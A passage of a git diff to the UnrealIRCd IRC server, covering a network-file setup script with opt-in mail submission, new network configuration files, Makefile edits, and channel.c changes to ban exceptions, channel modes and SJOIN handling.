.....: $NETDOMAIN +Set helpchan ......: $HELPCHAN +Set STATS_SERVER ..: $STATS_SERVER +Set HUB ...........: not_in_use +Set iNAH ..........: $INAH +Set net_quit ......: not_in_use +__EOF__ + +echo "" +echo "Would you like to submit the your network file to be included with future releases of unreal?" +echo $n "[$SUBMIT] -> $c" +read cc +if [ ! -z $cc ]; then + SUBMIT="$cc" +fi +case "$SUBMIT" in + [Nn]*) + echo "Ok all done, all you have to do is," + echo "Change the Include line in unrealircd.conf to:" + echo "Include .................: networks/$FILE" + echo "Thank your for choosing UnrealIRCd" + exit + ;; + *) + ;; + esac + +cat |sendmail -t << __EOF__& +To: unreal-networks@lists.sourceforge.net +From: $EMAIL +Subject: Network file submission for $NETWORK + +`cat $FILE` +. +__EOF__ +echo "" +echo "Ok all done, all you have to do is," +echo "Change the Include line in unrealircd.conf to:" +echo "Include .................: networks/$FILE" +echo "Thank your for choosing UnrealIRCd" +exit diff --git a/networks/networks.ndx b/networks/networks.ndx index c3a5187a7..ce3e9e98c 100644 --- a/networks/networks.ndx +++ b/networks/networks.ndx @@ -32,3 +32,9 @@ networks/interturk.network .......: InterTurk (http://www.interturk.net) networks/cc2.network .............: CC2 (http://www.cc2.org) networks/kissland.network ........: Kissland (http://www.kissland.com) networks/digital-irc.network .....: Digital-IRC (http://www.digital-irc.net) +networks/seveneagle.network ......: SevenEagle.Com +networks/staticedge.network ......: StaticEdge +networks/german-elite.network ....: German-Elite (http://www.german-elite.net) +networks/thainet.network .........: Thai IRC Network +networks/linuxsquare.network .....: LinuxSquare (http://www.linuxsquare.net) +networks/chatstation.network .....: ChatStation diff --git a/networks/seveneagle.network b/networks/seveneagle.network new file mode 100644 index 000000000..384acc03d --- /dev/null +++ b/networks/seveneagle.network @@ -0,0 +1,29 @@ +ver^2.2 +# +# Unreal-Team () Network Configuration File +# -------------------------------------------------- +# Added-at: 14 July 1999 00:00 GMT +# Author: Stskeeps (Carsten Munk) +# E-Mail: stskeeps@tspre.org +# $Id$ +# ----------------------------------------- +# + +Network >..........: SevenEagle.Com +Set ircnetwork ....: SevenEagle.Com +Set defserv .......: irc.seveneagle.com +Set SERVICES_NAME .: Services.SevenEagle.Com +Set oper_host .....: IRCop.SevenEagle.Com +Set admin_host ....: Admin.SevenEagle.Com +Set locop_host ....: Locop.SevenEagle.Com +Set sadmin_host ...: ServiceOp.SevenEagle.Com +Set netadmin_host .: NetAdmin.SevenEagle.Com +Set coadmin_host ..: CoAdmin.SevenEagle.Com +Set techadmin_host : TechAdmin.SevenEagle.Com +Set hidden_host ...: SevenEagle.Com +Set netdomain .....: SevenEagle.Com +Set helpchan ......: #Help +Set STATS_SERVER ..: Stats.SevenEagle.Com +Set HUB ...........: 1 +Set iNAH ..........: 1 +Set net_quit ......: SE diff --git a/networks/staticedge.network b/networks/staticedge.network new file mode 100644 index 000000000..910116144 --- /dev/null +++ b/networks/staticedge.network @@ -0,0 +1,30 @@ +ver^2.2 +# +# StaticEdge (irc.staticedge.com) Network Configuration File +# -------------------------------------------------- +# Added-at: 06 July 2000 00:00 GMT +# Author: ^Scott^ (Scott Anderson) +# E-Mail: admin@staticedge.com +# $Id$ +# ----------------------------------------- +# + +Network >..........: StaticEdge +Set ircnetwork ....: StaticEdge +Set defserv .......: irc.staticedge.com +Set SERVICES_NAME .: Services.StaticEdge.Com +Set oper_host .....: Opers.StaticEdge.Com +Set admin_host ....: Admins.StaticEdge.Com +Set locop_host ....: LocalOps.StaticEdge.Com +Set sadmin_host ...: CSOps.StaticEdge.Com +Set netadmin_host .: NetAdmin.StaticEdge.Com +Set coadmin_host ..: CoAdmins.StaticEdge.Com +Set techadmin_host : TechAdmins.StaticEdge.Com +Set hidden_host ...: static +Set netdomain .....: StaticEdge.Com +Set helpchan ......: #StaticEdge +Set STATS_SERVER ..: Stats.StaticEdge.Com +Set HUB ...........: 1 +Set iNAH ..........: 1 +Set net_quit ......: SE + diff --git a/networks/thainet.network b/networks/thainet.network new file mode 100644 index 000000000..29a8ce204 --- /dev/null +++ b/networks/thainet.network @@ -0,0 +1,34 @@ +ver^2.2 +# +# Network Configuration File Template +# ----------------------------------------- +# Added-at: GMT +# Author: () +# E-Mail: +# $Id$ +# ----------------------------------------- +# This is a template so you can create your own network configuration files +# Just follow the instructions and it will prolly work ;) +# 0 = No 1 = Yes +# ------------------------------------------------------- +# +# These two specify the name of the IRC network, set the same in both fields + +Network >..........: Thai IRC Network +Set ircnetwork ....: Thai IRC Network +Set defserv .......: irc.thai.com +Set SERVICES_NAME .: services.thai.com +Set oper_host .....: ircop.thai.com +Set admin_host ....: admin.thai.com +Set locop_host ....: locop.thai.com +Set sadmin_host ...: serviceop.thai.com +Set netadmin_host .: netadmin.thai.com +Set coadmin_host ..: coadmin.thai.com +Set techadmin_host : techadmin.thai.com +Set hidden_host ...: ThaiNet +Set netdomain .....: irc.thai.com +Set helpchan ......: #Services +Set STATS_SERVER ..: stats.thai.com +Set HUB ...........: 1 +Set iNAH ..........: 1 +Set net_quit ......: ic diff --git a/networks/unrealircd.conf b/networks/unrealircd.conf index 9d9cf645a..1a3f0023c 100644 --- a/networks/unrealircd.conf +++ b/networks/unrealircd.conf @@ -12,7 +12,7 @@ Include .................: networks/unreal-test.network # # What K:Line address can K:lined users mail at? # -Set KLINE_ADDRESS .......: the admin of this server +Set KLINE_ADDRESS .......: unreal-dev@lists.sourceforge.net # If you want users to get auto +x on connect # 1 = Yes 0 = No @@ -22,7 +22,7 @@ Set MODE_X ..............: 1 # 1 = Yes 0 = No Set MODE_I ..............: 0 -# Auto +X users when they connect? This can help as a new REMOVE_ADVERTISE +# Auto +G users when they connect? This can help as a new REMOVE_ADVERTISE Set MODE_STRIPWORDS .....: 0 # If compiled on a halfhub network this will upgrade it to be a real hub @@ -61,7 +61,7 @@ Set SHOWOPERMOTD ........: 1 # # Hide U:lines from non-opers in /links? # 1 = Yes 0 = No -Set HIDE_ULINES .........: 0 +Set HIDE_ULINES .........: 1 # # Allow use of ChatOps? diff --git a/newnet b/newnet index b0fb14925..125a5f021 100755 --- a/newnet +++ b/newnet @@ -6,7 +6,7 @@ echo "| If you want your networks network file in the " echo "| next release please attach your network file " echo "| to an email and mail it to " - echo" | unreal-networks@lists.sourceforge.net " + echo "| unreal-networks@lists.sourceforge.net " echo "| " echo "|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= " exit 1 diff --git a/src/Makefile b/src/Makefile index 14be47208..40735ba3c 100644 --- a/src/Makefile +++ b/src/Makefile @@ -25,10 +25,11 @@ LINTFLAGS=-hba OBJS=agent.o aln.o badwords.o bsd.o channel.o class.o cloak.o crule.o dbuf.o dynconf.o \ fdlist.o hash.o help.o ircd.o ircsprintf.o list.o lusers.o \ - match.o md5.o packet.o parse.o res.o $(RES) s_auth.o \ + match.o packet.o parse.o $(REGEX) res.o $(RES) s_auth.o \ s_bsd.o s_conf.o s_debug.o s_err.o s_extra.o s_kline.o \ s_misc.o s_numeric.o s_serv.o s_socks.o $(STRTOUL) s_unreal.o \ - s_user.o scache.o send.o support.o userload.o version.o whowas.o + s_user.o scache.o send.o support.o userload.o version.o whowas.o \ + zip.o # OBJS=bsd.o dbuf.o packet.o send.o match.o parse.o support.o channel.o \ # class.o hash.o ircd.o list.o res.o cloak.o s_auth.o s_bsd.o s_conf.o \ @@ -58,7 +59,7 @@ version.o: version.c ../include/version.h $(CC) $(CFLAGS) -c version.c ircd: $(OBJS) - $(CC) $(CFLAGS) -o ircd $(OBJS) $(LDFLAGS) $(IRCDLIBS) + $(CC) $(CFLAGS) -o ircd $(OBJS) $(LDFLAGS) $(IRCDLIBS) $(CRYPTOLIB) chmod $(IRCDMODE) ircd chkconf: ../include/struct.h ../include/config.h ../include/settings.h ../include/sys.h \ @@ -92,6 +93,9 @@ badwords.o: badwords.c $(INCLUDES) aln.o: aln.c $(INCLUDES) $(CC) $(CFLAGS) -c aln.c +zip.o: zip.c $(INCLUDES) + $(CC) $(CFLAGS) -c zip.c + send.o: send.c $(INCLUDES) $(CC) $(CFLAGS) -c send.c @@ -107,9 +111,6 @@ userload.o: userload.c $(INCLUDES) help.o: help.c $(INCLUDES) $(CC) $(CFLAGS) -c help.c -md5.o: md5.c $(INCLUDES) - $(CC) $(CFLAGS) -c md5.c - #install: all # -if [ ! -d ${IRCDDIR} -a ! -f ${IRCDDIR} ] ; then \ # mkdir ${IRCDDIR}; \ diff --git a/src/aln.c b/src/aln.c index 8dee2e0af..14ebb4e3d 100644 --- a/src/aln.c +++ b/src/aln.c @@ -1,5 +1,5 @@ /************************************************************************ - * IRC - Internet Relay Chat, aln.c + * Unreal Internet Relay Chat Daemo, src/aln.c * (C) 2000 Carsten Munk (Techie/Stskeeps) * * See file AUTHORS in IRC package for additional names of diff --git a/src/badwords.c b/src/badwords.c index 7b4027a5b..6414878df 100644 --- a/src/badwords.c +++ b/src/badwords.c @@ -17,6 +17,9 @@ #include #include "config.h" +#include "struct.h" +#include "common.h" +#include "h.h" #ifdef STRIPBADWORDS #include "badwords.h" @@ -31,6 +34,10 @@ static int message_wordlist; * in both private and public messages */ +void badwords_stats(aClient *sptr) +{ +} + char *stripbadwords_channel(char *str) { regmatch_t pmatch[MAX_MATCH]; @@ -157,8 +164,15 @@ int loadbadwords_channel(char *wordfile) || (ptr = strchr(buf, '\n')) != NULL) *ptr = '\0'; if (buf[0] == '\0') + { + i--; continue; - + } + if (buf[0] == '#') + { + i--; + continue; + } for (j = 0, isregex = 0; j < strlen(buf); j++) { if ((int)buf[j] < 65 || (int)buf[j] > 123) @@ -213,7 +227,15 @@ int loadbadwords_message(char *wordfile) || (ptr = strchr(buf, '\n')) != NULL) *ptr = '\0'; if (buf[0] == '\0') + { + i--; continue; + } + if (buf[0] == '#') + { + i--; + continue; + } for (j = 0, isregex = 0; j < strlen(buf); j++) { diff --git a/src/channel.c b/src/channel.c index cc0844cd2..e164144bf 100644 --- a/src/channel.c +++ b/src/channel.c @@ -63,10 +63,10 @@ struct CHLink chlbounce[MAXBOUNCE]; int chbounce = 0; static long opermode = 0; aChannel *channel = NullChn; +extern char backupbuf[]; extern aCRline *crlines; extern char *cannotjoin_msg; extern ircstats IRCstats; -// #define is_zombie(x,y) 0 #ifndef NO_FDLIST extern int lifesux; @@ -81,9 +81,6 @@ static void channel_modes PROTO((aClient *, char *, char *, aChannel *)); static int check_channelmask PROTO((aClient *, aClient *, char *)); static int del_banid PROTO((aChannel *, char *)); static int find_banid PROTO((aChannel *, char *)); -//static int have_ops PROTO((aChannel *)); -//static int number_of_zombies PROTO((aChannel *)); -//static int is_deopped PROTO((aClient *, aChannel *)); static void set_mode PROTO((aChannel *, aClient *, int, char **, u_int *, char[MAXMODEPARAMS][MODEBUFLEN + 3], int)); static void make_mode_str PROTO((aChannel *, long, long, int, @@ -148,6 +145,8 @@ aCtab cFlagTab[] = { #ifdef STRIPBADWORDS {MODE_STRIPBADWORDS, 'G', 0}, /* no badwords */ #endif + {MODE_NOCTCP, 'C', 0}, /* no CTCPs */ + {MODE_AUDITORIUM, 'u', 0}, {0x0, 0x0, 0x0} }; #endif @@ -414,7 +413,7 @@ static int find_banid(chptr, banid) } /* - * IsMember - returns 1 if a person is joined and not a zombie + * IsMember - returns 1 if a person is joined * Moved to struct.h */ @@ -425,7 +424,7 @@ extern Ban *is_banned(cptr, sptr, chptr) aClient *cptr, *sptr; aChannel *chptr; { - Ban *tmp; + Ban *tmp, *tmp2; char *s; static char realhost[NICKLEN + USERLEN + HOSTLEN + 6]; static char virthost[NICKLEN + USERLEN + HOSTLEN + 6]; @@ -445,16 +444,23 @@ extern Ban *is_banned(cptr, sptr, chptr) s = make_nick_user_host(cptr->name, cptr->user->username, cptr->user->virthost); strcpy(virthost, s); - /* -- exceptions are BEFORE testing bans */ - for (tmp = chptr->exlist; tmp; tmp = tmp->next) - if ((match(tmp->banstr, realhost) == 0) || - (dovirt && (match(tmp->banstr, virthost) == 0))) - return (NULL); /* exception ! */ - +/* We now check +b first, if a +b is found we then see if there is a +e. + * If a +e was found we return NULL, if not, we return the ban. + */ for (tmp = chptr->banlist; tmp; tmp = tmp->next) if ((match(tmp->banstr, realhost) == 0) || (dovirt && (match(tmp->banstr, virthost) == 0))) + { + /* Ban found, now check for +e */ + for (tmp2 = chptr->exlist; tmp2; tmp2 = tmp2->next) + if ((match(tmp2->banstr, realhost) == 0) || + (dovirt + && (match(tmp2->banstr, virthost) == 0))) + return (NULL); + break; + } + return (tmp); } @@ -630,7 +636,7 @@ int is_chanprot(cptr, chptr) #define CANNOT_SEND_NOPRIVMSGS 2 #define CANNOT_SEND_NOCOLOR 3 #define CANNOT_SEND_BAN 4 -// #define CAN_SEND_STRIP 5 +#define CANNOT_SEND_NOCTCP 5 int can_send(cptr, chptr, msgtext) aClient *cptr; @@ -662,6 +668,12 @@ int can_send(cptr, chptr, msgtext) CHFL_HALFOP | CHFL_CHANPROT)))) return (CANNOT_SEND_MODERATED); + if (chptr->mode.mode & MODE_NOCTCP && + (!lp + || !(lp->flags & (CHFL_CHANOP | CHFL_CHANOWNER | CHFL_CHANPROT)))) + if (msgtext[0] == 1 && strncmp(&msgtext[1], "ACTION ", 7)) + return (CANNOT_SEND_NOCTCP); + /* Makes opers able to talk thru bans -Stskeeps suggested by The_Cat */ if (IsOper(cptr)) return 0; @@ -731,6 +743,7 @@ static void channel_modes(cptr, mbuf, pbuf, chptr) (void)strcat(pbuf, bcbuf); } } + /* if we add more parameter modes, add a space to the strings here --Stskeeps */ if (chptr->mode.per) { *mbuf++ = 'f'; @@ -747,6 +760,7 @@ static void channel_modes(cptr, mbuf, pbuf, chptr) } } + *mbuf++ = '\0'; return; } @@ -1139,6 +1153,7 @@ int m_mode(cptr, sptr, parc, parv) } opermode = 0; /* opermode stuff --sts */ +#ifndef NO_OPEROVERRIDE if (IsPerson(sptr) && !IsULine(cptr, sptr) && !is_chan_op(sptr, chptr)) if (IsOper(sptr)) { @@ -1146,6 +1161,7 @@ int m_mode(cptr, sptr, parc, parv) opermode = 1; goto aftercheck; } +#endif /*-------*/ @@ -1232,8 +1248,13 @@ void bounce_mode(chptr, cptr, parc, parv) set_mode(chptr, cptr, parc, parv, &pcount, pvar, 1); make_mode_str(chptr, oldm, oldl, pcount, pvar, mode_buf, parabuf, 1); - sendto_one(cptr, ":%s MODE %s &%s %s %lu", me.name, chptr->chname, - mode_buf, parabuf, chptr->creationtime); + if (chptr->creationtime) + sendto_one(cptr, ":%s MODE %s &%s %s %lu", me.name, + chptr->chname, mode_buf, parabuf, chptr->creationtime); + else + sendto_one(cptr, ":%s MODE %s &%s %s", me.name, chptr->chname, + mode_buf, parabuf); + /* the '&' denotes a bounce so servers won't bounce a bounce */ } @@ -1294,12 +1315,19 @@ void do_mode(chptr, cptr, sptr, parc, parv, sendts, samode) || *mode_buf == '-'))) { if (tschange || isbounce) /* relay bounce time changes */ - sendto_serv_butone_token(cptr, me.name, MSG_MODE, - TOK_MODE, "%s %s+ %lu", chptr->chname, - isbounce ? "&" : "", chptr->creationtime); + if (chptr->creationtime) + sendto_serv_butone_token(cptr, me.name, + MSG_MODE, TOK_MODE, "%s %s+ %lu", + chptr->chname, isbounce ? "&" : "", + chptr->creationtime); + else + sendto_serv_butone_token(cptr, me.name, + MSG_MODE, TOK_MODE, "%s %s+ ", + chptr->chname, isbounce ? "&" : ""); return; /* nothing to send */ } /* opermode for twimodesystem --sts */ +#ifndef NO_OPEROVERRIDE if (opermode == 1) { if (MyClient(sptr)) @@ -1308,6 +1336,7 @@ void do_mode(chptr, cptr, sptr, parc, parv, sendts, samode) sptr->name, chptr->chname, mode_buf, parabuf); sendts = 0; } +#endif if (IsPerson(sptr) && samode && MyClient(sptr)) { @@ -1515,6 +1544,20 @@ int do_mode_char(chptr, modetype, modechar, param, what, cptr, pcount, pvar, } switch (modetype) { + case MODE_AUDITORIUM: + if (IsULine(cptr, cptr) || IsServer(cptr)) + goto auditorium_ok; + if (!IsNetAdmin(cptr) && !IsTechAdmin(cptr) + && !is_chanowner(cptr, chptr)) + { + sendto_one(cptr, + ":%s NOTICE %s :*** Channel mode +u can only be set by the channel owner", + me.name, cptr->name); + break; + } + + auditorium_ok: + goto setthephuckingmode; case MODE_OPERONLY: if (!IsAnOper(cptr) && !IsServer(cptr) && !IsULine(cptr, cptr)) @@ -1563,6 +1606,7 @@ int do_mode_char(chptr, modetype, modechar, param, what, cptr, pcount, pvar, #ifdef STRIPBADWORDS case MODE_STRIPBADWORDS: #endif + case MODE_NOCTCP: case MODE_NOINVITE: setthephuckingmode: /* +sp bugfix.. */ @@ -1811,6 +1855,16 @@ int do_mode_char(chptr, modetype, modechar, param, what, cptr, pcount, pvar, { goto linkok; } + + if (!IsNetAdmin(cptr) && !IsTechAdmin(cptr) + && !is_chanowner(cptr, chptr)) + { + sendto_one(cptr, + ":%s NOTICE %s :*** Channel mode +L can only be set by the channel owner", + me.name, cptr->name); + break; + } + linkok: if (!chptr->mode.limit && what == MODE_ADD) { @@ -1990,6 +2044,7 @@ int do_mode_char(chptr, modetype, modechar, param, what, cptr, pcount, pvar, * ListBits(bitvalue, bitlength); * written by Stskeeps */ +#ifdef DEVELOP char *ListBits(long bits, long length) { char *bitstr, *p; @@ -2009,6 +2064,7 @@ char *ListBits(long bits, long length) *p = '\0'; return (bitstr); } +#endif /* set_mode @@ -2042,6 +2098,7 @@ void set_mode(chptr, cptr, parc, parv, pcount, pvar, bounce) case '-': what = MODE_DEL; break; +#ifdef DEVELOP case '^': tmpo = (char *)ListBits(chptr->mode.mode, 64); sendto_one(cptr, @@ -2050,7 +2107,7 @@ void set_mode(chptr, cptr, parc, parv, pcount, pvar, bounce) chptr->mode.mode, chptr->mode.mode, tmpo); MyFree(tmpo); break; - +#endif case 'x': if (MyClient(cptr)) { @@ -2174,7 +2231,12 @@ static int can_join(cptr, sptr, chptr, key, link, parv) char *parv[]; { Link *lp; +#ifndef NO_OPEROVERRIDE int ib = 1; +#else + int ib = 0; +#endif + /* 0 = noone 1 = IRCops 2 = Net Admins 3 =Net/Tech admins (override) */ @@ -2612,12 +2674,8 @@ int channel_link(cptr, sptr, parc, parv) ** channel so make them (rightfully) the Channel ** Operator. */ - if (!IsModelessChannel(name)) - flags = - (ChannelExists(name)) ? CHFL_DEOPPED - : CHFL_CHANOP; - else - flags = CHFL_DEOPPED; + flags = + (ChannelExists(name)) ? CHFL_DEOPPED : CHFL_CHANOP; if (sptr->user->joined >= MAXCHANNELSPERUSER) { @@ -2669,8 +2727,9 @@ int channel_link(cptr, sptr, parc, parv) if (MyClient(sptr)) sendto_one(sptr, ":%s!%s@%s JOIN :%s", sptr->name, sptr->user->username, - (IsHidden(sptr) ? sptr->user-> - virthost : sptr->user->realhost), name); + (IsHidden(sptr) ? sptr-> + user->virthost : sptr->user->realhost), + name); sendto_umode(UMODE_NETADMIN | UMODE_TECHADMIN, "*** Invisible(+I) user %s joined %s", sptr->name, chptr->chname); @@ -2823,20 +2882,13 @@ int m_join(cptr, sptr, parc, parv) ** Operator. */ /* Where did this come from? Potvin ? --Stskeeps - if (!IsModelessChannel(name)) flags = (ChannelExists(name)) ? CHFL_DEOPPED : CHFL_CHANOWNER; - else - flags &= ~CHFL_CHANOWNER; */ - if (!IsModelessChannel(name)) - flags = - (ChannelExists(name)) ? CHFL_DEOPPED - : CHFL_CHANOP; - else - flags = CHFL_DEOPPED; + flags = + (ChannelExists(name)) ? CHFL_DEOPPED : CHFL_CHANOP; if (!IsAnOper(sptr)) /* opers can join unlimited chans */ if (sptr->user->joined >= MAXCHANNELSPERUSER) @@ -2905,8 +2957,8 @@ int m_join(cptr, sptr, parc, parv) if (MyClient(sptr)) sendto_one(sptr, ":%s!%s@%s JOIN :%s", sptr->name, sptr->user->username, - (IsHidden(sptr) ? sptr->user-> - virthost : sptr->user->realhost), + (IsHidden(sptr) ? sptr-> + user->virthost : sptr->user->realhost), chptr->chname); if (MyClient(sptr)) { @@ -2921,7 +2973,7 @@ int m_join(cptr, sptr, parc, parv) } sendto_serv_butone_token(cptr, parv[0], MSG_JOIN, - TOK_JOIN, chptr->chname); + TOK_JOIN, "%s", chptr->chname); if (MyClient(sptr)) { @@ -3016,7 +3068,7 @@ int m_part(cptr, sptr, parc, parv) */ if (parc < 3) sendto_serv_butone_token(cptr, parv[0], - MSG_PART, TOK_PART, chptr->chname); + MSG_PART, TOK_PART, "%s", chptr->chname); else sendto_serv_butone_token(cptr, parv[0], MSG_PART, TOK_PART, "%s :%s", chptr->chname, @@ -3123,7 +3175,10 @@ int m_kick(cptr, sptr, parc, parv) } if (check_channelmask(sptr, cptr, name)) continue; - if (!IsServer(cptr) && !IsOper(sptr) + if (!IsServer(cptr) +#ifndef NO_OPEROVERRIDE + && !IsOper(sptr) +#endif && !IsULine(cptr, sptr) && !is_chan_op(sptr, chptr) && !is_halfop(sptr, chptr)) { @@ -3252,25 +3307,6 @@ int m_kick(cptr, sptr, parc, parv) } -int count_channels(sptr) - aClient *sptr; -{ - aChannel *chptr; - int count = 0; - - for (chptr = channel; chptr; chptr = chptr->nextch) -#ifdef SHOW_INVISIBLE_LUSERS - if (SecretChannel(chptr)) - { - if (IsAnOper(sptr)) - count++; - } - else -#endif - count++; - return (count); -} - /* ** m_topic ** parv[0] = sender prefix @@ -3278,7 +3314,7 @@ int count_channels(sptr) ** ** For servers using TS: (Lefler) ** parv[0] = sender prefix -** parv[1] = channel list +** parv[1] = channel name ** parv[2] = topic nickname ** parv[3] = topic time ** parv[4] = topic text @@ -3300,39 +3336,41 @@ int m_topic(cptr, sptr, parc, parv) me.name, parv[0], "TOPIC"); return 0; } + name = parv[1]; - for (; (name = strtoken(&p, parv[1], ",")); parv[1] = NULL) + if (name && IsChannelName(name)) { - if (parc > 1 && IsChannelName(name)) - { - chptr = find_channel(name, NullChn); - if (!chptr || (!IsMember(sptr, chptr) && - !IsServer(sptr) && !IsULine(cptr, sptr))) - { - sendto_one(sptr, - err_str(ERR_NOTONCHANNEL), me.name, - parv[0], name); - continue; - } - if (parc > 2) - topic = parv[2]; - if (parc > 4) - { - tnick = parv[2]; - ttime = atol(parv[3]); - topic = parv[4]; - } - } - + chptr = find_channel(parv[1], NullChn); if (!chptr) { - sendto_one(sptr, rpl_str(RPL_NOTOPIC), + if (!MyClient(sptr) && !IsULine(cptr, sptr)) + { + sendto_realops + ("Remote TOPIC for unknown channel %s (%s)", + parv[1], backupbuf); + } + sendto_one(sptr, rpl_str(ERR_NOSUCHCHANNEL), me.name, parv[0], name); return 0; } + if (parc > 2) + { + if (!IsMember(sptr, chptr) && !IsServer(sptr) + && !IsULine(cptr, sptr)) + { + sendto_one(sptr, err_str(ERR_NOTONCHANNEL), + me.name, parv[0], name); + return 0; + } + topic = parv[2]; + } + if (parc > 4) + { + tnick = parv[2]; + ttime = atol(parv[3]); + topic = parv[4]; - if (check_channelmask(sptr, cptr, name)) - continue; + } if (!topic) /* only asking for topic */ { @@ -3400,6 +3438,9 @@ int m_topic(cptr, sptr, parc, parv) || is_chan_op(sptr, chptr)) && (chptr->mode.mode & MODE_TOPICLIMIT)) { +#ifdef NO_OPEROVERRIDE + continue; +#endif sendto_umode(UMODE_EYES, "*** OperTopic [IRCop: %s] - [Channel: %s] - [Topic: %s]", sptr->name, chptr->chname, topic); @@ -3721,8 +3762,8 @@ int check_for_chan_flood(cptr, sptr, chptr) if (chptr->mode.kmode == 1) { /* ban. */ ircsprintf(mask, "*!*@%s", - (IsHidden(sptr) ? sptr->user->virthost : sptr-> - user->realhost)); + (IsHidden(sptr) ? sptr->user-> + virthost : sptr->user->realhost)); add_banid(&me, chptr, mask); sendto_serv_butone(&me, ":%s MODE %s +b %s 0", me.name, chptr->chname, mask); @@ -4054,6 +4095,11 @@ int m_names(cptr, sptr, parc, parv) continue; if (IsHiding(acptr)) continue; + if (chptr->mode.mode & MODE_AUDITORIUM) + if (!is_chan_op(sptr, chptr)) + if (!(cm->flags & CHFL_CHANOP)) + continue; + if (cm->flags & CHFL_CHANOP) buf[idx++] = '@'; else if (cm->flags & CHFL_HALFOP) @@ -4259,683 +4305,595 @@ aParv *mp2parv(char *xmbuf, char *parmbuf) } /* - ** m_sjoin + ** m_sjoin ** ** SJOIN will synch channels and channelmodes using the new STS1 protocol ** that is based on the EFnet TS3 protocol. ** -GZ (gz@starchat.net) ** - ** Modified for Unreal3.0 by Stskeeps + ** Modified for UnrealIRCd by Stskeeps + ** Recoded by Stskeeps ** parv[0] = sender prefix ** parv[1] = channel timestamp ** parv[2] = channel name - ** parv[3] = channel modes - ** parv[4] = channel mode parameters (key/limit) - ** parv[5] = nick names + modes - all in one parameter + ** + ** if (parc == 3) + ** parv[3] = nick names + modes - all in one parameter + ** if (parc == 4) + ** parv[3] = channel modes + ** parv[4] = nick names + modes - all in one parameter + ** if (parc > 4) + ** parv[3] = channel modes + ** parv[4 to parc - 2] = mode parameters + ** parv[parc - 1] = nick names + modes */ -#define FL_VOICE 0x1 -#define FL_HALFOP 0x2 -#define FL_CHANOP 0x4 -#define FL_PROT 0x8 -#define FL_FOUNDER 0x10 + +/* Some ugly macros, but useful */ +#define Addit(x,y) modebuf[b] = x; strcat(parabuf, y); \ + strcat(parabuf, " "); \ + if (b == RESYNCMODES) \ + { modebuf[b + 1] = '\0'; sendto_serv_butone_sjoin(cptr, \ + ":%s MODE %s %s %s %lu", sptr->name, chptr->chname, \ + modebuf, parabuf, chptr->creationtime); \ + sendto_channel_butserv(chptr, sptr, \ + "%s MODE %s %s %s", sptr->name, chptr->chname, \ + modebuf, parabuf); \ + parabuf[0] = '\0'; \ + b = 1; \ + } else b++ + +#define Addsingle(x) modebuf[b] = x; b++ +#define CheckStatus(x,y) if (modeflags & (y)) { Addit((x), nick); } + int m_sjoin(cptr, sptr, parc, parv) aClient *cptr, *sptr; int parc; char *parv[]; { + unsigned short nopara; + unsigned short nomode; + unsigned short removeours; + unsigned short removetheirs; + unsigned short merge; /* same timestamp */ + char pvar[MAXMODEPARAMS][MODEBUFLEN + 3]; + char paraback[1024], modeback[1024]; + char nick[NICKLEN + 1]; aClient *acptr, *tempptr; aChannel *chptr; - aSynchList *synchptr, *synchptr2, *synchptr3; + Link *lp; + Ban *ban; aParv *ap; - char *p; - int i; - char pvar[MAXMODEPARAMS][MODEBUFLEN + 3]; - Link *lp, *lp2, *members; - static char nick[NICKLEN]; - char *t, *bp; - int c, f, fl, ts, copy, merge, wipem, nopara, deop = 0; - int nickstatus, ns, tc, xsend, susp_ts, pcount; - int oldts; + int ts, oldts, pcount, x, y, z, i; + unsigned short b; + Mode oldmode; + char *t; + long modeflags; - if (IsClient(sptr) || parc < 6 || !IsServer(sptr)) /* Double check redundant? yeah, I think so -GZ */ + if (IsClient(sptr) || parc < 3 || !IsServer(sptr)) return 0; if (!IsChannelName(parv[2])) return 0; - nopara = 0; + merge = nopara = nomode = removeours = removetheirs = 0; - if (!strncmp(parv[4], "", 6) || !strncmp(parv[4], "<->", 3)) - { + if (SupportSJOIN(sptr) && !SupportSJ3(sptr) && + !strncmp(parv[4], "", 6)) + nopara = 1; + if (SupportSJOIN2(sptr) && !SupportSJ3(sptr) && + !strncmp(parv[4], "<->", 6)) + nopara = 1; + if (SupportSJ3(sptr) && (parc < 5)) nopara = 1; + + if (SupportSJ3(sptr)) + { + if (parc < 4) + nomode = 1; + } + else + { + if (parv[3][1] == '\0') + nomode = 1; } - xsend = 1; - - /* If length of modebuf is 1, we dont have to do anything */ - - if (parv[3][1] == 0) /* ie if the 2nd character is NULL, its length is one (or zero, but thats not possible */ - xsend = 0; - chptr = get_channel(cptr, parv[2], CREATE); ts = atol(parv[1]); - copy = merge = tc = wipem = susp_ts = deop = 0; - if (chptr->creationtime > ts) { - copy = wipem = 1; - } - else if (chptr->creationtime == ts) - { - merge = 1; + removeours = 1; + oldts = chptr->creationtime; + chptr->creationtime = ts; } else if ((chptr->creationtime < ts) && (chptr->creationtime != 0)) - { - deop = 1; - } - /* If our timestamp is 0 this is a new channel, copy it. */ + removetheirs = 1; + else if (chptr->creationtime == ts) + merge = 1; - if (chptr->creationtime == 0 && ts > 0) + if (chptr->creationtime == 0) { - copy = 1; oldts = -1; + chptr->creationtime = ts; } else oldts = chptr->creationtime; - /* Hmmmmmm.....timestamp is below 750000, something fishy is going on - * let's just not take this SJOIN too seriously... -GZ - */ if (ts < 750000) - { if (ts != 0) sendto_ops ("Warning! Possible desynch: SJOIN for channel %s has a fishy timestamp (%ld)", chptr->chname, ts); - susp_ts = 1; - } - t = parv[5]; - bp = buf; - - c = fl = nickstatus = 0; - f = 1; - - /* Let's see what the channel-modes are first here */ - parabuf[0] = '\0'; modebuf[0] = '+'; modebuf[1] = '\0'; channel_modes(cptr, modebuf, parabuf, chptr); - - /* Let's clean our channel-modes if nescessary */ - - if (wipem && (modebuf[1] != '\0') && !susp_ts) + if (removeours) { - modebuf[0] = '-'; + /* remove our modes if any */ + if (modebuf[1] != '\0') + { + int b; + Ban *ban; + + ap = mp2parv(modebuf, parabuf); + set_mode(chptr, cptr, ap->parc, ap->parv, &pcount, + pvar, 0); + sendto_serv_butone_sjoin(cptr, + ":%s MODE %s %s %s %lu", + sptr->name, chptr->chname, modebuf, parabuf, + chptr->creationtime); + sendto_channel_butserv(chptr, sptr, ":%s MODE %s %s %s", + sptr->name, chptr->chname, modebuf, parabuf); + + } + /* remove bans */ + b = 1; + parabuf[0] = '\0'; + for (ban = chptr->banlist; ban; ban = ban->next) + { + Addit('b', ban->banstr); + } + for (ban = chptr->exlist; ban; ban = ban->next) + { + Addit('e', ban->banstr); + } + for (lp = chptr->members; lp; lp = lp->next) + { + if (lp->flags & 